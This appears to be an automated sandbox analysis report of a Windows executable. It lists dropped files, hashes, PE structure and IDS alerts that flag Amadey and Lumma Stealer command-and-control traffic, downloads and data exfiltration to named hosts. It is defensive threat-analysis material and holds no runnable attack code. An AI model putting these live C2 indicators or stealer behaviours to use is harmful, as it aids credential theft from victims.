Preview:	L..................F.@.. ...$+.,....1g.(\|R..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Yz.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yz.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Yz.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Yz............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y\|............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............`......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.010611033762506
Encrypted:	false
SSDEEP:	48:8xudFTNtsHbidAKZdA14tseh7sFiZUkmgqeh7sny+BX:8x83yn1y
MD5:	1DB32E58ECA44132BC77BD0A4441A39E
SHA1:	7CCD1B9F137C5747025310BC978FFF3DA538F2D6
SHA-256:	CAB62C712646365A318FEE2362D8A6E789AD824DC94C91B332A7A63F23EDA995
SHA-512:	A84395418A2C1A635D32C75FE56E53AC88728A9145A6C47B76F809C5B6DB16F2CC8CF8E9E9CE1752E7A8F1739880CDF327AA1150E65E7F7F2B2CCEB597FAF87F
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Yz.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yz.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Yz.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Yz............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............`......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 20 00:11:54 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.997049366652428
Encrypted:	false
SSDEEP:	48:8rdFTNtZHbidAKZdA1vehDiZUkwqehNy+R:8336/y
MD5:	F8F522F5CA95AA977065154716072D86
SHA1:	41E8702F42D08A0E268353A651D3CF4EBDB59FE3
SHA-256:	41C09057B85F8622ED2DFA4315883113919FD6999CCCEAC229068FA945B06DDE
SHA-512:	E534E0F28644273722DFA7F426B07F01E26E5328D59B2549D924B7D60EC3C9B6B5B8B99FC1B137FFF5AB12A1F75D601BCAE09B06740C4D019F2B150BEB05386D
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....8r(\|R..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Yz.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yz.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Yz.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Yz............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y\|............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............`......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 20 00:11:54 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.987121000205902
Encrypted:	false
SSDEEP:	48:86dFTNtZHbidAKZdA1hehBiZUk1W1qehDy+C:8w369jy
MD5:	1D45C9FAEF8D5943CD40E6685FD1732F
SHA1:	F84563824764943AED927F1A46F88DE73DA23EBB
SHA-256:	A18C09EE6EC6025F39FDBFA8937038B62E4BECA9E04B150E5CB0A83A2E19E259
SHA-512:	1BE38C807A5AAFB0D0549F521506F49719B7737F968BF1D180E57E399460D1BD00F51A72F363ADCA0FBBFB0723C455D9F6AF4D621527B7DF5E8C259799C5627D
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....A.(\|R..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Yz.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yz.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Yz.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Yz............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y\|............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............`......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 20 00:11:54 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.994732947391207
Encrypted:	false
SSDEEP:	48:86dFTNtZHbidAKZdA1duT+ehOuTbbiZUk5OjqehOuTb1y+yT+:8w3ET/TbxWOvTb1y7T
MD5:	F20373CFD45FBDB046B02C7A5506733E
SHA1:	C979FB8857DA09EF5FB6DA7B3A9D67466F5ED0CA
SHA-256:	79FBD6217D04D974EB69BAA176D7D030BE6CA03521AA6F577C59E0120CC4688D
SHA-512:	5ED1441040808D13B7E2BEC0A451F1341BEA1FB8CA7086510D0A8A392D97734E5C0EB77E2386086D858174DA2D8C42307ACF6DAEE3912C5BBBF0FF79DCB17124
Malicious:	false
Preview:	L..................F.@.. ...$+.,....l.c(\|R..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Yz.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yz.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Yz.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Yz............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y\|............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............`......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.398035401166953
Encrypted:	false
SSDEEP:	6:tGBZTX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lHtq1ut0:twZTuQ1CGAFifXVH5t0
MD5:	392FF46D79307484B1FC8E053C9A3358
SHA1:	EEEF63E96190891760D52477C0BD4E935AC543D4
SHA-256:	5EE90F8D5ACF7912D589F0BED3903B4C899C0C064F6EE40C1E50C5626C2B9EBE
SHA-512:	C617827BAEE9EB29CFB9F3B50D891362C19111E8963119DFBD73F77BCA4951D4DF2CC282C02211E8C746AC9D5396D7DC3C2AC98F9EC7469C3C051200649A33B0
Malicious:	false
Preview:	....3..<..,C......$.F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016149588804727
Encrypted:	false
SSDEEP:	768:haAq16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTKGLlO6eAbTIr4audZqBkZRLg
MD5:	1FF4CE3C1DB69A5146B03AD8BE62F5EB
SHA1:	5D177F6D11FCFF2BD62E61983383BB39D9F045E4
SHA-256:	222F320F99EF710DCE98F125314F30DAC99CF408525D86F185B317A878D48A5C
SHA-512:	36D198120D83AA9BDC2E74F80B99E2219EE4F03A8DD93A1E58A9E30BD48E829E5220A9F5FE6FC29B3810ED85005A8DCD0EAD04EE06DCCD0A15CD6D080E88641D
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=f2de4e119f.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.5602069013296065
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'017'216 bytes
MD5:	744e8a3718a8bccb6c0bfe243c7ac195
SHA1:	06ad06e208965913a03307439e68f1168027fb89
SHA256:	9c41a2f71bf50c12c268e61147794c07e5a65642cd2a08235f5dce0ad0cdbc63
SHA512:	66802302b003b51072a4eba3b81dd4728f88d642a5813d57e402fd4ab23b4f0f6f07f6812380b6c5bc42818c6a6efc32654405c96253befd023c1b26d5286273
SSDEEP:	49152:DUEL8aWXxxR4zmtHbaTpanQ6A3tOhbDgF5yx3G9RGpelk1+a:DUE4aWXfR4CtHbaTpanQV3UVgF5W3BE
TLSH:	13D53BB1B509B1CFD4CA2674852BCDC2695D03B94720C8C39EAEA4BA7E77CC11DB6C64
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x71b000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F27CCE8C1CAh
psubsb mm5, qword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], ch
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3198d0	0x10	kbteuhkh
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x319880	0x18	kbteuhkh
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	7dc2069484bf5f12cc882d0a32e37f0a	False	0.9979031846049047	data	7.980366727740827	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x5d4	0x400	50cfee6cb877917cbdc0e76cdd5fc1a6	False	0.7099609375	data	5.865923192925983	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kbteuhkh	0x6b000	0x2af000	0x2af000	5af80898effd5bb2d8818c3652071c6c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hmexrxce	0x31a000	0x1000	0x400	039373a30f44d929df700c2c2bdf3822	False	0.830078125	data	6.289281910872579	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x31b000	0x3000	0x2200	8baf7a0474a32a036487ec97fbd70767	False	0.06043198529411765	DOS executable (COM)	0.7799381298251287	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x3198e0	0x3e4	XML 1.0 document, ASCII text			0.48092369477911645
RT_MANIFEST	0x319cc4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-20T02:11:05.218064+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49817	185.215.113.43	80	TCP
2024-12-20T02:11:09.942764+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49831	185.215.113.16	80	TCP
2024-12-20T02:11:17.142461+0100	2058374	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat)	1	192.168.2.5	55985	1.1.1.1	53	UDP
2024-12-20T02:11:17.191335+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49825	TCP
2024-12-20T02:11:17.373236+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.5	51684	1.1.1.1	53	UDP
2024-12-20T02:11:18.542272+0100	2856121	ETPRO MALWARE Amadey CnC Activity M2	1	192.168.2.5	49850	185.215.113.43	80	TCP
2024-12-20T02:11:18.915374+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.5	49853	172.67.179.109	443	TCP
2024-12-20T02:11:18.915374+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49853	172.67.179.109	443	TCP
2024-12-20T02:11:19.778408+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49853	172.67.179.109	443	TCP
2024-12-20T02:11:19.778408+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49853	172.67.179.109	443	TCP
2024-12-20T02:11:19.997547+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49855	31.41.244.11	80	TCP
2024-12-20T02:11:21.018372+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.5	49860	172.67.179.109	443	TCP
2024-12-20T02:11:21.018372+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49860	172.67.179.109	443	TCP
2024-12-20T02:11:21.790023+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49860	172.67.179.109	443	TCP
2024-12-20T02:11:21.790023+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49860	172.67.179.109	443	TCP
2024-12-20T02:11:23.523141+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.5	49866	172.67.179.109	443	TCP
2024-12-20T02:11:23.523141+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49866	172.67.179.109	443	TCP
2024-12-20T02:11:25.277618+0100	2058397	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click)	1	192.168.2.5	61349	1.1.1.1	53	UDP
2024-12-20T02:11:25.355455+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49871	185.215.113.43	80	TCP
2024-12-20T02:11:26.212191+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.5	49874	172.67.179.109	443	TCP
2024-12-20T02:11:26.212191+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49874	172.67.179.109	443	TCP
2024-12-20T02:11:26.803789+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49875	31.41.244.11	80	TCP
2024-12-20T02:11:26.822329+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.5	49876	172.67.209.202	443	TCP
2024-12-20T02:11:26.822329+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49876	172.67.209.202	443	TCP
2024-12-20T02:11:27.609134+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49876	172.67.209.202	443	TCP
2024-12-20T02:11:27.609134+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49876	172.67.209.202	443	TCP
2024-12-20T02:11:28.702688+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.5	49882	172.67.179.109	443	TCP
2024-12-20T02:11:28.702688+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49882	172.67.179.109	443	TCP
2024-12-20T02:11:28.877671+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.5	49883	172.67.209.202	443	TCP
2024-12-20T02:11:28.877671+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49883	172.67.209.202	443	TCP
2024-12-20T02:11:29.703194+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49883	172.67.209.202	443	TCP
2024-12-20T02:11:29.703194+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49883	172.67.209.202	443	TCP
2024-12-20T02:11:31.456681+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.5	49891	172.67.179.109	443	TCP
2024-12-20T02:11:31.456681+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49891	172.67.179.109	443	TCP
2024-12-20T02:11:31.588146+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.5	49892	172.67.209.202	443	TCP
2024-12-20T02:11:31.588146+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49892	172.67.209.202	443	TCP
2024-12-20T02:11:32.089325+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49891	172.67.179.109	443	TCP
2024-12-20T02:11:32.581260+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49892	172.67.209.202	443	TCP
2024-12-20T02:11:33.834112+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.5	49898	172.67.179.109	443	TCP
2024-12-20T02:11:33.834112+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49898	172.67.179.109	443	TCP
2024-12-20T02:11:33.882275+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49898	172.67.179.109	443	TCP
2024-12-20T02:11:34.034619+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.5	49900	172.67.209.202	443	TCP
2024-12-20T02:11:34.034619+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49900	172.67.209.202	443	TCP
2024-12-20T02:11:36.930416+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.5	49907	172.67.209.202	443	TCP
2024-12-20T02:11:36.930416+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49907	172.67.209.202	443	TCP
2024-12-20T02:11:37.997335+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49909	185.215.113.43	80	TCP
2024-12-20T02:11:39.167009+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.5	49916	172.67.179.109	443	TCP
2024-12-20T02:11:39.167009+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49916	172.67.179.109	443	TCP
2024-12-20T02:11:39.450093+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49917	31.41.244.11	80	TCP
2024-12-20T02:11:39.955696+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49916	172.67.179.109	443	TCP
2024-12-20T02:11:40.204841+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.5	49919	172.67.209.202	443	TCP
